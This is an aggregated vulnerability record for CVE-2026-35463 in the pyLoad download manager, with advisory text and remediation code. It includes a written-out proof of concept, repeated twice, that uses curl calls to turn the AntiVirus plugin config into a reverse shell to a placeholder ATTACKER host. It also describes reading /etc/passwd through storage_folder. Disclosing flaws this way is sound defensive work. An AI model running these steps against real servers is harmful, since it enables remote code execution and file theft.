Every CVE Search/ Get API key

CVE-2026-35463

pyLoad has Improper Neutralization of Special Elements used in an OS Command

8.8 HighFix available

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.85%Up 0.6 points since Apr 8, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.8

pyLoad has Improper Neutralization of Special Elements used in an OS Command

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.

Record
CVE-2026-35463
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
EUVDEUVD-2026-19659 8.8

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.

Record
EUVD-2026-19659
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-w48f-wwwf-f5fr 8.8

pyLoad: Improper Neutralization of Special Elements used in an OS Command

Summary

The ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.

Details

Safe wrapper — ADMIN_ONLY_OPTIONS (core/api/init.py:225-235):

ADMIN_ONLY_OPTIONS = {
    "reconnect.script",      # Blocks script path change
    "webui.host",            # Blocks bind address change
    "ssl.cert_file",         # Blocks cert path change
    "ssl.key_file",          # Blocks key path change
    # ... other sensitive options
}

Where it IS enforced — core config (core/api/init.py:255):

def set_config_value(self, section, option, value):
    if f"{section}.{option}" in ADMIN_ONLY_OPTIONS:
        if not self.user.is_admin:
            raise PermissionError("Admin only")
    # ...

Where it is NOT enforced — plugin config (core/api/init.py:271-272):

    # Plugin config - NO admin check at all
    self.pyload.config.set_plugin(category, option, value)

Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):

def scan_file(self, file):
    avfile = self.config.get("avfile")    # User-controlled via plugin config
    avargs = self.config.get("avargs")
    subprocess.Popen([avfile, avargs, target])  # RCE

PoC

# As non-admin user with SETTINGS permission:

# 1. Set AntiVirus executable to a reverse shell
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avfile' \
  -d 'value=/bin/bash'

curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avargs' \
  -d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# 2. Enable the AntiVirus plugin
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.activated' \
  -d 'value=True'

# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload
curl -b session_cookie -X POST http://TARGET:8000/api/add_package \
  -d 'name=test' \
  -d 'links=http://example.com/test.zip'

# Result: reverse shell as the pyload process user

Additional Finding: Arbitrary File Read via storage_folder

The storage_folder validation at core/api/__init__.py:238-246 uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting storage_folder=/ combined with GET /files/get/etc/passwd gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.

Impact

  • Remote Code Execution — Non-admin user can execute arbitrary commands via AntiVirus plugin config
  • Privilege escalation — SETTINGS permission (non-admin) escalates to full system access
  • Arbitrary file read — Via storage_folder manipulation

Remediation

Apply ADMIN_ONLY_OPTIONS to plugin config as well:

# In set_config_value():
ADMIN_ONLY_PLUGIN_OPTIONS = {
    "AntiVirus.avfile",
    "AntiVirus.avargs",
    # ... any plugin option that controls executables or paths
}

if section == "plugin" and option in ADMIN_ONLY_PLUGIN_OPTIONS:
    if not self.user.is_admin:
        raise PermissionError("Admin only")

Or better: validate that avfile points to a known AV binary before passing to subprocess.Popen().

Record
GHSA-w48f-wwwf-f5fr
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
NVD 8.8

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.

Record
CVE-2026-35463
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSV 8.8

pyLoad has Improper Neutralization of Special Elements used in an OS Command

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.

Record
CVE-2026-35463
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSVGHSA-w48f-wwwf-f5fr 8.8

pyLoad: Improper Neutralization of Special Elements used in an OS Command

Summary

The ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.

Details

Safe wrapper — ADMIN_ONLY_OPTIONS (core/api/init.py:225-235):

ADMIN_ONLY_OPTIONS = {
    "reconnect.script",      # Blocks script path change
    "webui.host",            # Blocks bind address change
    "ssl.cert_file",         # Blocks cert path change
    "ssl.key_file",          # Blocks key path change
    # ... other sensitive options
}

Where it IS enforced — core config (core/api/init.py:255):

def set_config_value(self, section, option, value):
    if f"{section}.{option}" in ADMIN_ONLY_OPTIONS:
        if not self.user.is_admin:
            raise PermissionError("Admin only")
    # ...

Where it is NOT enforced — plugin config (core/api/init.py:271-272):

    # Plugin config - NO admin check at all
    self.pyload.config.set_plugin(category, option, value)

Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):

def scan_file(self, file):
    avfile = self.config.get("avfile")    # User-controlled via plugin config
    avargs = self.config.get("avargs")
    subprocess.Popen([avfile, avargs, target])  # RCE

PoC

# As non-admin user with SETTINGS permission:

# 1. Set AntiVirus executable to a reverse shell
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avfile' \
  -d 'value=/bin/bash'

curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avargs' \
  -d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# 2. Enable the AntiVirus plugin
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.activated' \
  -d 'value=True'

# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload
curl -b session_cookie -X POST http://TARGET:8000/api/add_package \
  -d 'name=test' \
  -d 'links=http://example.com/test.zip'

# Result: reverse shell as the pyload process user

Additional Finding: Arbitrary File Read via storage_folder

The storage_folder validation at core/api/__init__.py:238-246 uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting storage_folder=/ combined with GET /files/get/etc/passwd gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.

Impact

  • Remote Code Execution — Non-admin user can execute arbitrary commands via AntiVirus plugin config
  • Privilege escalation — SETTINGS permission (non-admin) escalates to full system access
  • Arbitrary file read — Via storage_folder manipulation

Remediation

Apply ADMIN_ONLY_OPTIONS to plugin config as well:

# In set_config_value():
ADMIN_ONLY_PLUGIN_OPTIONS = {
    "AntiVirus.avfile",
    "AntiVirus.avargs",
    # ... any plugin option that controls executables or paths
}

if section == "plugin" and option in ADMIN_ONLY_PLUGIN_OPTIONS:
    if not self.user.is_admin:
        raise PermissionError("Admin only")

Or better: validate that avfile points to a known AV binary before passing to subprocess.Popen().

Record
GHSA-w48f-wwwf-f5fr
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-78
Updated
2026-11-02
OSVPYSEC-2026-2267 8.8

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.

Record
PYSEC-2026-2267
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
pyload-ng
PyPI
through 0.5.0b3.dev96 None known
pyload-ng
PyPI
through 0.5.0b3.dev96, plus listed versions
0.5.0a5.dev5280.5.0a5.dev5320.5.0a5.dev5350.5.0a5.dev5360.5.0a5.dev537
Show 45 moreShow less
0.5.0a5.dev5390.5.0a5.dev5400.5.0a5.dev5450.5.0a5.dev5620.5.0a5.dev5640.5.0a5.dev5650.5.0a6.dev5700.5.0a6.dev5780.5.0a6.dev5870.5.0a7.dev5960.5.0a8.dev6020.5.0a9.dev6150.5.0a9.dev6290.5.0a9.dev6320.5.0a9.dev6410.5.0a9.dev6430.5.0a9.dev6550.5.0a9.dev8060.5.0b1.dev10.5.0b1.dev20.5.0b1.dev30.5.0b1.dev40.5.0b1.dev50.5.0b2.dev100.5.0b2.dev110.5.0b2.dev120.5.0b2.dev90.5.0b3.dev130.5.0b3.dev140.5.0b3.dev170.5.0b3.dev180.5.0b3.dev190.5.0b3.dev200.5.0b3.dev210.5.0b3.dev220.5.0b3.dev240.5.0b3.dev260.5.0b3.dev270.5.0b3.dev280.5.0b3.dev290.5.0b3.dev300.5.0b3.dev310.5.0b3.dev320.5.0b3.dev330.5.0b3.dev34
None known
pyload-ng
PyPI
before 0.5.0b3.dev97, plus listed versions
0.5.0a5.dev5280.5.0a5.dev5320.5.0a5.dev5350.5.0a5.dev5360.5.0a5.dev537
Show 45 moreShow less
0.5.0a5.dev5390.5.0a5.dev5400.5.0a5.dev5450.5.0a5.dev5620.5.0a5.dev5640.5.0a5.dev5650.5.0a6.dev5700.5.0a6.dev5780.5.0a6.dev5870.5.0a7.dev5960.5.0a8.dev6020.5.0a9.dev6150.5.0a9.dev6290.5.0a9.dev6320.5.0a9.dev6410.5.0a9.dev6430.5.0a9.dev6550.5.0a9.dev8060.5.0b1.dev10.5.0b1.dev20.5.0b1.dev30.5.0b1.dev40.5.0b1.dev50.5.0b2.dev100.5.0b2.dev110.5.0b2.dev120.5.0b2.dev90.5.0b3.dev130.5.0b3.dev140.5.0b3.dev170.5.0b3.dev180.5.0b3.dev190.5.0b3.dev200.5.0b3.dev210.5.0b3.dev220.5.0b3.dev240.5.0b3.dev260.5.0b3.dev270.5.0b3.dev280.5.0b3.dev290.5.0b3.dev300.5.0b3.dev310.5.0b3.dev320.5.0b3.dev330.5.0b3.dev34
0.5.0b3.dev97

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-35463 is a high vulnerability (CVSS 8.8) in Pyload, published April 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.85%, the 58th percentile. Fixed in pyload-ng 0.5.0b3.dev97.

References

This page doesn't list everything

Left out here: 101 versions. The JSON record has them.

MoveEnter Open